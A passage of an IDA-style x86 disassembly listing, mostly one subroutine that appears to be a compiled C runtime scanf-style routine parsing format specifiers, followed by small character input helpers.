ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short 